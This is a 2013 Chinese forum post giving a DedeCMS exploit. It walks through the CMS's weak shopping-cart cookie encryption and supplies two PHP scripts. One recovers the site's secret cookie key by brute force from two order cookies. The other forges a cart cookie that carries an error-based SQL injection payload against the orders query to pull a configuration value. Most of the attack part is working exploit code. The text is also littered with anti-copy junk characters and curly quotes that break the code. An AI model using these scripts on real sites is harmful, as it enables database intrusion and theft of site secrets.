找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1979|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=( K( L! U0 M' S) V
在 include/shopcar.class.php中3 Z7 o0 C" d, |8 a4 m* T3 d
先看一下这个shopcar类是如何生成cookie的
( y4 z( r, s! l6 K- B) V" w( v, g6 p239      function saveCookie($key,$value)5 n- ?8 e/ N( s8 f  ^* x) W8 U
240      {
3 L# z8 ^4 t9 X' Z# Y- W241          if(is_array($value))
5 E. i4 g0 ], f2 `, W& ?242          {, T* R) Y4 v4 c+ A9 i
243              $value = $this->enCrypt($this->enCode($value));% G, E- X2 c$ ~' ]2 S. ]* J
244          }; ]3 ~, s2 r# C8 L8 k
245          else: z/ {1 o. Y1 V2 w' ~# E; S6 r/ b8 T
246          {
! A+ R1 T9 j- s) O247              $value = $this->enCrypt($value);
% |- R& l1 o$ Y: S2 A: ]+ R5 }248          }! ]: E2 j* t3 C" K0 s
249          setcookie($key,$value,time()+36000,’/');) R4 m" }, Q" p$ Y
250      }5 ^6 Q" z5 F$ B7 F0 Q- o# v; C0 B
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
1 `4 J$ w1 G8 P: R: e- R* W186      function enCrypt($txt)) J# Q1 P3 [/ F' O, l% w
187      {
3 `5 Q1 ]) K- p1 m! Q. N# y. ]188          srand((double)microtime() * 1000000);
9 l# z) V8 E$ C189          $encrypt_key = md5(rand(0, 32000));. l- v4 s9 a+ [; q2 |) S' q
190          $ctr = 0;
8 k/ M( Y  Z% N8 m. H" I191          $tmp = ”;' X- U: z* W8 d5 v2 y6 P1 ~9 G
192          for($i = 0; $i < strlen($txt); $i++)
8 U4 S1 y/ y, l4 h) D  D193          {& }6 j7 f3 K4 I$ m2 U+ }5 ?) Z
194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
% |; L# v+ M1 f& B195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
) d- r) x& F! D9 Y+ j' b! l196          }$ w3 O( k: x9 W0 n- W8 @
197          return base64_encode($this->setKey($tmp));) h! l' F2 B! t- k) p
198      }
3 b) Z- L7 P( x% s/ j213      function setKey($txt)
  H$ M% {' t) g0 b214      {
- e2 a% {3 s9 D6 ~$ k' T3 M: O8 \215          global $cfg_cookie_encode;
2 w4 W& q6 `3 N" |* d216          $encrypt_key = md5(strtolower($cfg_cookie_encode));" I; H% z5 g# Y# |
217          $ctr = 0;
+ K' s" t  [! K- K$ p( x# ]218          $tmp = ”;" k5 d4 o- C& Y: v
219          for($i = 0; $i < strlen($txt); $i++)
- H8 @6 q! r& j9 T220          {
4 s" O( W6 G2 N! K1 v" {+ W221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;4 P& N( U% l  l* [. \
222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
3 b" C7 `4 A3 ^8 A' ?- P9 Z223          }
; r* Q2 s; L. p  z224          return $tmp;
% ^$ z2 y9 o3 w" Z, m5 S* w$ K225      }6 S8 W, }. U+ c; L9 f9 {
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的0 k1 z+ ^% z  j) O- y* d5 L
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。1 V3 q6 c; X" y+ ^- u8 ?
具体代码如下:: s/ @1 z/ Z6 K* c  Y4 N4 L
<?php& N1 S& R3 p  s  _. M' Q) k8 D& o, r
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here2 I/ N, Z: u( |3 j4 M4 l$ |
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here$ z( r6 n) I; U( d- t- _: M
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here: y' g4 Q0 ~* }/ k8 s
function reStrCode($code,$string)9 S+ d1 q1 X8 N$ ~6 h* X
{- A0 b7 m  F7 J/ j* @
$code = base64_decode($code);" g, B2 ~$ A) _6 O
$key = “”;
! Z1 }  w. k, N5 P" N3 xfor($i=0 ; $i<32 ; $i++)/ T  H  I" ~2 |% W( u
{
6 D. ^  W- c4 |$key .= $string[$i] ^ $code[$i];% }' p+ N* ~; a# n& T: n
}2 E0 j* ?5 p3 s( X$ P* X3 |
return $key;7 O0 @% H: i) I" |& c% o1 R
}* t& H; ^; Z& b* X& S
function getKeys($cookie,$plantxt)
4 G) _& b) e3 h* B2 x# J{2 U" ~% J( u0 _& G" P( s+ l! M
$tmp = $cookie;
- |. l" F) Z9 S5 o0 h$results = array();4 ~& \: s# J3 d# }& g
for($j=0 ; $j < 32000; $j++)
8 m1 i$ s# a0 }9 m) d& S{1 N! G& q3 E3 E/ d9 V+ V3 H

' T9 D4 J9 U' C' q2 z% K) K$txt = $plantxt;) X( j' Z3 y% p8 Y) z' ^3 w* u- ?* L
$ctr = 0;
- T6 S4 F( E6 T5 t  B4 y2 z$tmp = ”;
% N+ w  Z) h& L' n+ d* u5 x$encrypt_key = md5($j);
1 F8 _! ~# Z: \! F* U6 p$ d0 g* Afor($i =0; $i < strlen($txt); $i ++)
6 C  n8 y; F+ B$ t- g7 x{
/ h! w: M0 q4 C! A5 C: _$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;- ?1 q% H' q# t; S3 O* P
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);7 n, G! B! S5 [2 d# x) {
}
" i& H. ]5 G& Q5 B7 S# V/ N4 G( t$string = $tmp;' y$ t0 m0 k1 s" i9 J2 I
$code = $cookie;" ]$ d5 N$ d+ J2 ?4 ]/ _/ J7 H5 s
$result = reStrCode($code,$string);
! L9 K. G) w7 }% V5 {' qif(eregi(‘^[a-z0-9]+$’,$result))
; ]) X% ^0 W3 s% r{
0 k8 |( C2 e- C( T2 j# xecho $result.”\n”;
# G- B! V9 O, a* V$ L0 x$results[] = $result;
- g; `% j: h1 z: \4 F}) _' S5 h; a; m
}
8 E" i6 p+ |" C( O5 Y; Areturn $results;  ]( ]  m3 `) e4 c  S" X4 [: n0 j2 ^7 D
}* P7 P' p: w; G! A, ~
$results1 = getKeys($cookie1,$plantxt);
# h# \. P  j9 x6 y$ j* i# z$results2 = getKeys($cookie2,$plantxt);
! R9 p# x4 j3 c. P0 Fprint “\n——————–real key————————–\n”;
4 @' u6 Q0 S( y* Y2 sforeach($results1 as $test1)
) X0 }+ f3 I" V  z{& P. l7 ~8 o( G9 S
foreach($results2 as $test2)% L$ \  P  T, H  J6 A2 l) @
{
! s  b# _% |$ k: }! ~) _. a) E  i1 v% Qif($test1 == $test2)! U0 z; l( b- ]( R
{% _0 B6 K# @" C! }
echo $test1.”\n”;5 j- a, E$ e, x- G$ Y! A+ i) X
}
4 N% I% N* P$ E: P8 R}. Q& E/ S( h; I
}
+ T! c# |1 O# p9 j( n6 A  D7 [?>
+ O% c0 j- G7 acookie1 和 cookie2 是我下了两次订单后分别生成的cookie,4 q! g4 Q7 }. D8 n- ^
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
* f( Z! v9 D. v然后推算出md5(strtolower($cfg_cookie_encode))
3 a/ X, q$ z2 V1 O7 u得到这个key之后,我们就可以构造任意购物车的cookie
( X! A5 M& F' x7 E2 u) G接着看
, c+ e  i( L0 w20  class MemberShops- [; _- {0 |2 w8 D
21  {& a$ f2 w9 L$ U
22      var $OrdersId;& @0 K1 W2 P) n2 v1 M9 w7 G
23      var $productsId;- I2 W% x  y3 j
24! P' e1 R/ Y- ^& c3 `) @
25      function __construct()8 |. T3 I0 s/ R* a+ z$ d4 ^- {" @7 {
26      {0 F4 n9 ]# F% [  X& B+ @
27          $this->OrdersId = $this->getCookie(“OrdersId”);
' |" a& H7 u9 R1 j: F3 x1 v  d28          if(empty($this->OrdersId))
+ d8 I# u/ r& F, s5 t% s; Q29          {
/ a( c8 O$ [6 X  P6 M5 N" J30              $this->OrdersId = $this->MakeOrders();. E4 [# x$ G7 `7 c& d
31          }
6 |# D) W2 W6 C3 _9 f" @- K8 _- w32      }
0 R( Q. b3 O7 r+ @# q' i发现OrderId是从cookie里面获取的
" i$ B, }8 S+ _5 e7 ~+ E7 t2 M然后2 w6 T5 s" O& c# q& `. ^
/plus/carbuyaction.php中的8 T6 z2 P6 M: K1 e, }) i0 ?
29      $cart    = new MemberShops();6 h) n9 l# q0 b& @5 @: g" _
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号8 u* e  i) G  A7 p
……( }" Q; N1 i6 s3 @
173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
* d) i1 a+ S: D  W接着我们就可以注入了
' V3 e$ H  A0 v4 I% Q  a( N' j通过利用下面代码生成cookie:
# Z) g: h" q5 [) \  n<?php) C/ E9 e$ A2 t, m
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
6 D2 }- w5 P& M$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here1 @& o% o, C; C, @! d$ j0 S/ m
function setKey($txt)
2 k# h6 o8 B% }: K/ p  F/ f3 @{" X: _* @( _6 ^. |2 z$ _8 `
global $encrypt_key;$ z0 q+ q. G/ L0 }5 M- y( _
$ctr = 0;
# i% N$ p/ j7 {- n$tmp = ”;
# T7 w& M, r6 b% _; gfor($i = 0; $i < strlen($txt); $i++)
9 h" o! X- Z, [2 g# i9 Y$ \7 [1 c$ r{
5 g: |" s: e0 b+ b, V$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;. K: A3 x8 J2 w& L- y# a& v
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
; X/ a' S' x5 O# \, K}
. T/ o1 t& @- ?( Creturn $tmp;7 w1 N, p% x. Z& t* t
}  k3 u6 @2 c0 n+ r1 `8 s
function enCrypt($txt)
/ f: `9 s) b5 A% L) P8 c9 v{& v, b& I) T0 r7 O! F  C
srand((double)microtime() * 1000000);
- ~5 S6 |7 A& T+ c# Z- {$encrypt_key = md5(rand(0, 32000));
& r! [  Z+ v. L' |: q- C$ctr = 0;3 C( N, ~% S$ s6 G$ t
$tmp = ”;
. M% N# d  _% |& z) v/ ifor($i = 0; $i < strlen($txt); $i++); S* w+ E5 j; S: ^3 e7 q* f/ D
{- p) ]) w: A& Z
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$ S: `; H9 T* Z4 y# H7 e  K9 w5 y$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);' q' J  [# G+ h
}
( U/ Q0 A0 Q) vreturn base64_encode(setKey($tmp));
/ I0 B* P& i* @( h1 {" T5 w; u}
% O, E/ j3 k8 K, b( Ifor($dest =0;$dest = enCrypt($txt);)3 |1 G- \2 v) H: q
{. |$ w0 q1 N0 t& c" ?
if(!strpos($dest,’+'))3 O9 b7 j9 m9 ~; [2 R
{
: r( f, f# j2 G8 o; V% F0 j  n* Xbreak;
5 j6 P  \/ B2 g  m; N}- z1 E1 z1 C$ H  ?, [% t
}
$ ]; V# L  E7 _. Yecho $dest.”\n”;
" S0 F" \/ D( `5 u( {# }( M?>
. g5 T+ N, ~% X1 m  s8 F" ^# X9 t$ V* ^/ G/ k* x2 D! Y: F6 d. x! P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表